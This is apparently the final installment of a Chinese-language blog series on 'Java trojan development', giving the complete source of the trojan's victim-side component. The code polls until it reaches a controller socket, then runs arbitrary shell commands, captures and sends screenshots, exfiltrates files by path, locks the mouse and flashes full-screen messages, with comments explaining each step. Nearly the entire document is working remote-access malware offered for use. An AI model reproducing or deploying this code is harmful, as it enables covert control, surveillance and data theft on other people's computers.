1. 程式人生 > >java 木馬開發(9)---服務端 完結 完整程式碼

java 木馬開發(9)---服務端 完結 完整程式碼

 */
 
 
import java.awt.AWTException;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.MouseInfo;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Enumeration;
 
import javax.imageio.ImageIO;
 
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
 
public class ServerLin {
    // 開啟Socket 連線的哨兵
    boolean link = false;
    //Robot類的哨兵 Robot類實現抓屏
    boolean end=false;
    Socket socket;
    String osName;
    DataInputStream dis;
    DataOutputStream dos;
    String commendString;
    Process process;
    Runtime r = Runtime.getRuntime();
    BufferedReader bufferedReader;
    BufferedImage bi;
    Robot robot;
 
    MouseLockThread mouseLockThread;
    int time[] = { 5000, 120000, 300000 }, timeSel = 0;
 
    public ServerLin(String str) {
        //傳入作業系統名字
        this.osName = str;    
        while (!link) {    
            try {
                
                Thread.sleep(5000);  //每隔5秒  
                
                
                //指定socketServer IP地址和socketServer 監聽埠
                //如果與控制端的連線沒有建立 會丟擲Connection refused 例外
                socket = new Socket("127.0.0.1", 1220);
                //sock哨兵 不在重複建立連線   
                link = true;
 
                System.out.println("***Client is already on the line***");
            } catch (ConnectException e1) {
                
                // 連線被拒絕後跳到此處   
                System.out.println("Listen every 5 seconds.");
                //重新建立連線 直到建立連線為止   
                continue;
                // e1.printStackTrace();
            } catch (InterruptedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (UnknownHostException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
        //連線成功建立後  開始建立
        try {
            //獲得輸入流
            dis = new DataInputStream(socket.getInputStream());
            //獲得輸出流
            dos = new DataOutputStream(socket.getOutputStream());
            //將何種作業系統傳到控制端
            dos.writeUTF(osName);
        } catch (IOException e2) {
            // TODO Auto-generated catch block
            e2.printStackTrace();
        }
  //不斷迴圈接收指令  知道end 變數為true
        while (!end) {
 
            try {
                //建立Robot物件  後面用來截圖
                robot = new Robot();
            } catch (AWTException e) {
                e.printStackTrace();
            }
            //非常重要的函式,獲取控制端傳過來的命令,根據命令呼叫功能函式
            takeOrder();
        }
    }
//不斷的迴圈接收控制端傳來的指令,並根據指令進行判斷,到達不同的控制流
    void takeOrder() {
        while (true) {
            
            try {
                commendString = dis.readUTF().trim();
                //如果字首是exit 則退出while迴圈  關閉輸入輸出流
                if (commendString.startsWith("exit")) {
                    end = true;
                    dis.close();
                    dos.close();
                    break;
 
                }
            } catch (IOException e) {
                //接收指令發生異常時,則退出while迴圈  關閉輸入輸出流
                System.out.println("leave");
                end = true;
                try {
                    dis.close();
                    dos.close();
                } catch (IOException e1) {
                    // TODO Auto-generated catch block
                    e1.printStackTrace();
                }
 
                break;
            }
           //判斷接收的指令  如果是以-d youarehacked 開頭,服務端會彈出一個對話方塊,
            if (commendString.startsWith("-d ")) {
                
                
                                                            
                    try {
                        commendString = commendString.substring(3);
                    } catch (Exception ee) {
                        continue;
                    }
                    showDialog(commendString);//彈出一個對話方塊函式
                
            } else if (commendString.startsWith("-p")) {//如果命令是以-p開頭,呼叫被控制端螢幕被截圖
                sendPic();   //截圖函式
            } else if (commendString.startsWith("down ")) {// 如果命令是以‘down ’開頭,呼叫下載函式
                String strFile = commendString.substring(5);
                
                File file = new File(strFile);
                // File file = new File("e:\\a.txt");
 
                if (file.isFile())
 
                    downFile(strFile);//下載函式
 
            } else if (commendString.startsWith("-m ")) {// 如果命令是以‘-m ’開頭,則被控制端機器滑鼠被鎖住
                try {
                    commendString = commendString.substring(3);
                } catch (Exception ee) {
                    continue;
                }
                mouseLock(commendString);  //滑鼠鎖住函式
            } else if (commendString.startsWith("-flash")) {  //如果命令是以‘-flash’開頭,則被控制端機器閃屏
                try {
                    commendString = commendString.substring(6);
                } catch (Exception e) {
                    commendString = "";
                }
                new Flash(commendString); //閃屏函式
                //當前面判斷沒有執行時,windows將會呼叫cmd,linux呼叫shell
            } else {
                shellExe(commendString);   
            }
        }
    }
 
    
 
    /* display password dialog */
    
 
 
    
 
    /* 鎖住滑鼠函式  
     * 接收l引數 啟動滑鼠鎖定執行緒
     * 接收a 停止滑鼠鎖定執行緒
     * */
    void mouseLock(String s) {
        if (s.equals("l")) {    
            if (mouseLockThread == null || mouseLockThread.isAlive() == false) {
                mouseLockThread = new MouseLockThread();
                mouseLockThread.flag = true;
                mouseLockThread.start();
            }
        } else if (s.equals("a")) {
            mouseLockThread.flag = false;
        }
    }
    /* shell */
//java在linux環境下呼叫平臺shell去執行輸入的指令引數 cmd 指令  
    void shellExe(String cmd) {
        try {
            String[] cmdA = { "/bin/sh", "-c", cmd };  //cmd是需要執行命令
            Process process = Runtime.getRuntime().exec(cmdA); //呼叫linux shell,執行命令 返回一個程序
            //獲得命令執行的結果
            LineNumberReader br = new LineNumberReader(new InputStreamReader(process.getInputStream()));
            dos.writeUTF("1start"); //命令返回開始標識
            // StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                line = line.trim();
                dos.writeUTF(line);//將結果返回到控制端
                // System.out.println(line);
                // sb.append(line).append("\n");
            }
 
            dos.writeUTF("1end");////命令返回結束標識
            // return sb.toString();
        } catch (Exception e) {
            e.printStackTrace();
        }
        // return null;
    }
 
    //截圖函式
    void sendPic() {
        
        /* Rectangle指定座標空間中的一塊區域 從左上角(0,0)開始,
         * 然後用Toolkit函式獲得本機系統的螢幕寬度和高度,這裡是取得全屏的尺寸。
        */
        //使用Robot類獲取螢幕 返回BufferedImage物件,利用這個物件可以很方便的對影象進行操作
        BufferedImage bi = robot.createScreenCapture(new Rectangle(0, 0,
                Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
        //將影象裝到位元組陣列中
        byte[] imageData = getCompressedImage(bi);
        if (imageData != null) {   
            try {
                dos.writeUTF("2start"); //告訴控制端將要傳輸截圖影象了
                dos.writeInt(imageData.length);  //告訴控制端將要傳輸的影象的大小
                dos.write(imageData);//開始傳輸截圖影象
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
 
//下載檔案   將要傳輸的檔案構建成檔案輸入流,然後建立一個臨時位元組陣列,不斷的讀取檔案輸入流
//同時將臨時位元組陣列存入位元組陣列緩衝區,最後將位元組陣列緩衝區轉化為位元組陣列傳給控制端。
 
    void downFile(String fileAbsolutePath) {
        //注意這裡要輸入檔案的絕對路徑
        File file = new File(fileAbsolutePath);
 
        FileInputStream fis = null;
        //在記憶體中建立一個位元組陣列緩衝區
        ByteArrayOutputStream out = new ByteArrayOutputStream();
 
        try {
            fis = new FileInputStream(file); //建立一個檔案輸入流
        } catch (FileNotFoundException e1) {
            // TODO Auto-generated catch block
 
            e1.printStackTrace();
 
        }
    
        byte[] b = new byte[1024]; //構建1k位元組長度的陣列
        int n;
        try {
            //從檔案輸入流中讀入b.length位元組長度的資料到b陣列中,返回讀入的位元組數
            while ((n = fis.read(b)) != -1) {   
                //將b陣列從0位置開始,長度是n的資料寫入到位元組陣列緩衝區
                out.write(b, 0, n);
            }
 
            if (out != null) {
                  
                dos.writeUTF("3start");//告訴控制端將要傳輸檔案了
                dos.writeUTF(file.getName());//告訴控制端將要傳輸的檔名字
                dos.writeInt(out.toByteArray().length);//告訴控制端將要傳輸的檔案大小
                dos.write(out.toByteArray());//開始傳輸
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
 
    }
 
    
 
    void showDialog(String s) {
        new ShowDialogThread(s).start();  //啟動一個執行緒
    }
 
    //將影象裝到位元組陣列中
    public byte[] getCompressedImage(BufferedImage image) {
        byte[] imageData = null;
        try {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            //將生成的影象以jpg格式,寫入到位元組陣列輸出流
            ImageIO.write(image, "jpg", baos);
            //建立位元組陣列
            imageData = baos.toByteArray();
        } catch (IOException ex) {
            imageData = null;
        }
        return imageData;
    }
 
    
    //執行緒類  採用的方式是繼承Thread類
    class ShowDialogThread extends Thread {   
        String info;
 
        public ShowDialogThread(String s) {  //建構函式接收需要顯示的引數
            this.info = s;
        }
 
        public void run() {
            JOptionPane.showMessageDialog(null, info);  //彈出對話方塊
        }
    }
    
     //開一個執行緒
    class MouseLockThread extends Thread {
        boolean flag = false; //建立一個監控哨兵
 
        public void run() {
            Point p = MouseInfo.getPointerInfo().getLocation();//獲取滑鼠目前的位置
            while (flag) {  //哨兵為真時,一直迴圈
                try {
                    Thread.sleep(1);
                    robot.mouseMove(p.x, p.y);  //移動滑鼠到當前位置
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
        }
    }
 
 
    
    
    
 
    //閃屏函式
    class Flash {
        JFrame frame;
        JPanel pane;
        Color c[] = { Color.pink, Color.white, Color.blue };
        int i;
        Image offScreenImage = null;
        String msg;
 
        public Flash(String s) {
            msg = s;
            //使用Toolkit.getDefaultToolkit()獲取本地主機資源,這裡獲取了螢幕寬和高
            final int width = Toolkit.getDefaultToolkit().getScreenSize().width;
            final int height = Toolkit.getDefaultToolkit().getScreenSize().height;
            //建立一個大小與螢幕相等的窗體,並設定在其它窗體上面
            frame = new JFrame();
            frame.setAlwaysOnTop(true);
            frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
            frame.setUndecorated(true);
            frame.setBounds(0, 0, width, height);
            //在面板中繪製與螢幕大小相同的影象
            pane = new JPanel() {
                public void paint(Graphics g) {
                    if (offScreenImage == null) {
                        offScreenImage = this.createImage(width, height);
                    }
                    //處理螢幕顯示的影象,包括顏色,顯示的字串等
                    Graphics gg = offScreenImage.getGraphics();
                    gg.setFont(new Font(null, Font.PLAIN, 50));
                    gg.setColor(c[i]);
                    gg.fillRect(0, 0, width, height);
                    gg.setColor(Color.black);
                    gg.drawString(msg, 200, 50);   
                    g.drawImage(offScreenImage, 0, 0, null);
                }
            };
            frame.setContentPane(pane);
            frame.setVisible(true);
            //
            new Thread() {
                public void run() {
                    int time = 0;
                    while (i < c.length) {
                        Flash.this.myUpdate();
                        try {
                            Thread.sleep(50);
                            time++;
                            if (time == 100) {
                                frame.dispose();
                                break;
                            }
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                    }
                }
            }.start();
        }
 
        public void myUpdate() {
            if (i == c.length - 1) {
                i = 0;
            } else {
                i++;
            }
            pane.repaint();
        }
    }
 
    
    
    
 
}